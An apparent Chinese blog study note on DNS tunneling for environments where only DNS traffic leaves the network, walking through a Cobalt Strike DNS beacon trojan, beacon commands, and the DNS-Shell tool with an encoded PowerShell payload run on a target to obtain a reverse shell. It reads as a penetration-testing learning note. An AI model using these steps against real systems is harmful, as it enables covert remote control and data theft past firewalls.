8月16日笔记

只有DNS协议出网场景

DNS 协议是一种请求、应答协议,也是一种可用于应用层的隧道技术。DNS 隧道的工作原理很简单,在进行 DNS 查询时,如果查询的域名不在 DNS 服务器本机缓存中,就会访问互联网进行查询,然后返回结果。如果在互联网上有一台定制的服务器,那么依靠 DNS 协议即可进行数据包的交互。

DNS隧道是一种网络通信技术,它利用域名系统(DNS)协议来传输非DNS数据。这种技术允许将其他类型的数据(如HTTP请求或其他网络协议的数据)封装在DNS请求和响应中,从而绕过防火墙或其他网络过滤机制,因为大多数网络都允许不受限制的DNS流量。通过这种方式,攻击者可以建立隐蔽通道来进行数据窃取、命令控制或渗透测试等活动,而不易被检测到。

CS开启监听DNS Beacon

创建监听器

生成木马

注意,这里生成木马类型得是 Windows Executable(S)

这里勾不勾选 x64 取决于目标主机的架构

只要木马在目标主机执行成功,我们的 CobaltStrike 就能接收到反弹的 shell。但

是默认情况下,主机信息是黑色的。我们需要执行以下命令,让目标主机信息显示出来

复制代码
checkin
mode dns-txt

在beacon执行以上命令。

利用DNS进行命令控制

DNS-Shell 是一款通过 DNS 信道实现交互式 Shell 的强大工具,该工具的服务器端基于 Python 开发,可以任何一种安装了 Python 环境的操作系统平台上运行,工具所使用的 Payload 均已 PowerShell 命令进行编码,保证了在不同平台间运行的稳定性和兼容性。

下载DNS-Shell

复制代码
git clone https://github.com/sensepost/DNS-Shell.git
DNS-Shell直接模式
复制代码
python2 DNS-shell.py -l -d 192.168.5.138  #边缘服务器ip

发现dnslib库没安装。使用pip2 install dnslib又找不到包。

直接下载源码:

复制代码
git clone https://github.com/paulc/dnslib.git

发现拒绝连接,应该是没代理(kali上);

代理教程:kali网络代理设置-CSDN博客

接收成功。

复制代码
cd dnslib
python2 setup.py install

完成之后回到DNS-Shell的目录下。

生成一段payload,将这段payload复制下来。在目标机cmd窗口执行

复制代码
powershell.exe -e 生成的payload

可以看到,我们已经成功接收到反弹回来的 shell 了。

相关推荐
寒秋花开曾相惜1 小时前
(学习笔记)3.8 指针运算(3.8.3 嵌套的数组& 3.8.4 定长数组)
java·开发语言·笔记·学习·算法
_李小白1 小时前
【AI大模型学习笔记之平台篇】第五篇:Trae常用模型介绍与性能对比
人工智能·笔记·学习
承渊政道2 小时前
【优选算法】(实战体会位运算的逻辑思维)
数据结构·c++·笔记·学习·算法·leetcode·visual studio
承渊政道2 小时前
【优选算法】(实战推演模拟算法的蕴含深意)
数据结构·c++·笔记·学习·算法·leetcode·排序算法
左左右右左右摇晃3 小时前
系统性能指标与损耗分析
笔记
悠哉悠哉愿意4 小时前
【单片机复习笔记】第十六届省赛复盘
笔记·单片机·嵌入式硬件
iThinkAi智能体5 小时前
1个运营带4个实习生,周产350篇笔记:小红书图文矩阵真的没那么玄乎
人工智能·经验分享·笔记
Yu_Lijing5 小时前
基于C++的《Head First设计模式》笔记——备忘录模式
c++·笔记·设计模式·备忘录模式
再玩一会儿看代码6 小时前
Java中 next() 和 nextLine() 有什么区别?一篇文章彻底搞懂
java·开发语言·经验分享·笔记·学习
Heartache boy6 小时前
野火STM32_HAL库版课程笔记-TIM通道输出应用之PWM实现呼吸灯
笔记·stm32·单片机·嵌入式硬件